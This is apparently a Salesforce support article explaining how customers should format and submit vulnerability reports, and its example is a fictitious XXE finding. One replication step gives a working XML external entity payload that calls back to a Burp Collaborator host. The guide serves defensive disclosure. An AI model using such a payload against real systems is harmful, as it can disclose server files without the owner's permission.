Upcoming Process Change:
Starting October 1, 2025, please begin using the following link to submit your product vulnerability reports: https://www.sfdc.co/SubmitVuln
The email address security@salesforce.com will continue to accept vulnerability submissions until November 15, 2025, to allow time for customers to adjust their applicable processes.
For more details, please refer to Revised Guidelines for Salesforce Product Vulnerability Submissions.
Please report any outstanding security vulnerabilities to Salesforce via email at security@salesforce.com. If you are submitting security findings related to Salesforce CRM services, we advise you to review the Salesforce CRM Services Platform Security FAQ and Salesforce Help to identify common false positives.
Security Researcher: Please review Salesforce Vulnerability Reporting Policy here
Before submitting your security vulnerability findings, Salesforce requires you to validate that the security vulnerability finding is not a false positive. This will require a security resource on your end to review and validate findings (especially for automated scanner report output). Disclaimer: All the security vulnerability findings examples and screenshots provided below are fictitious..
The following information is required for each of your validated reports:
1. Email Subject line: Customer Security Vulnerabilities Findings
2. Customer Company Name and the Organization ID/MID/The Unique Salesforce Identifier for the environment where the security assessment was performed
3. Product Platform (Salesforce, Marketing Cloud, Salesforce IQ etc)
4. Summary of all findings and associated severity level of each finding
Screenshot example
5. Details describing each finding with the following information
i. Description of the vulnerability: Include information such as targeted functionality, vulnerability that is identified and affected endpoints
Example: Product X has an import feature which allows users to add Account records in bulk via upload of XML files. This feature is vulnerable to External XML Entity Injection (XXE). XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. The affected endpoints are: https://example.com/upload/xml1 (POST method), https://example.com/upload/xml2 (POST method)
ii. Replication Steps to reproduce the security vulnerability finding
Example:
a. Navigate to https://example.com/login and Login into the application
b. Navigate to https://example.com/upload, select a file to upload, click the "Upload" button, and intercept the POST request to https://example.com/upload/xml in Burp Suite
c. Change the "file" POST parameter to the following value: <?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % ext SYSTEM "http://collab_id.burpcollaborator.net/x">; %ext;]>
d. Change the <collab_id> value above to your Burp Collaborator's unique ID
e. In the Burp Collaborator, observe the pingback received from the server
iii. Proof of Concept: Provide screenshots and/or HTTP requests & responses and/or Sample of vulnerable code, clearly demonstrating that the vulnerability is exploitable
Example:
a. Screenshot 1 showing the pingback received from server along with server IP address in Burp’s collaborator
b. Screenshot 2 showing HTTP request & responses showing the payload and the response received from server.
iv. Impact of the security vulnerability finding: Include information such as what can an attacker achieve if the vulnerability is exploited, who can launch the attack(remote/local user, internal/external user, authenticated/unauthenticated user, viewer/editor/admin etc...) and how easy is it for an attacker to discover and exploit the vulnerability.
Example: By exploiting this vulnerability, an attacker would be able to read local files on the server. This could result in disclosure of sensitive information (e.g. secrets stored on the server) and could allow the attacker, in certain conditions, to escalate to Remote Code Execution. This vulnerability is exploitable by an external, unauthenticated user. Requires minimal prior knowledge on the system and minimal technical skills to exploit.
v. Recommendations and Reference:
Example: The XML parser processing the uploaded documents should be configured to disallow inclusion of external entities.
Note: Triage Exclusion:
Vulnerabilities found with custom development (e.g. apex/vf/sites, etc). You'll need to validate and address any findings with your custom development.
Example of URLs which reference customer custom code:
https://test.visual.force.com/apex/AboutUser
https://na99.visual.force.com/apex/AboutUser
https://example_for_sites_or_communities.force.com/AboutUser
Note: Automated Scanner Validation:
Performing false positive analysis of scanner generated reports. Salesforce customers are required to work with their own security and/or development teams to do an initial review and triage of all their security findings. This will help eliminate false positives, configuration and coding related issues that are specific to your implementation and expedite the overall response time. To identify common false positives and configuration related issues, review the Platform Security FAQ and Salesforce Help Portal.
Note:
Please submit reports in the English language for the quickest response. Triaging of reports in language other than English may be delayed for translations.
000384043

We use three kinds of cookies on our websites: required, functional, and advertising. You can choose whether functional and advertising cookies apply. Click on the different cookie categories to find out more about each category and to change the default settings.
Privacy Statement
Required cookies are necessary for basic website functionality. Some examples include: session cookies needed to transmit the website, authentication cookies, and security cookies.
Functional cookies enhance functions, performance, and services on the website. Some examples include: cookies used to analyze site traffic, cookies used for market research, and cookies used to display advertising that is not directed to a particular individual.
Advertising cookies track activity across websites in order to understand a viewer’s interests, and direct them specific marketing. Some examples include: cookies used for remarketing, or interest-based advertising.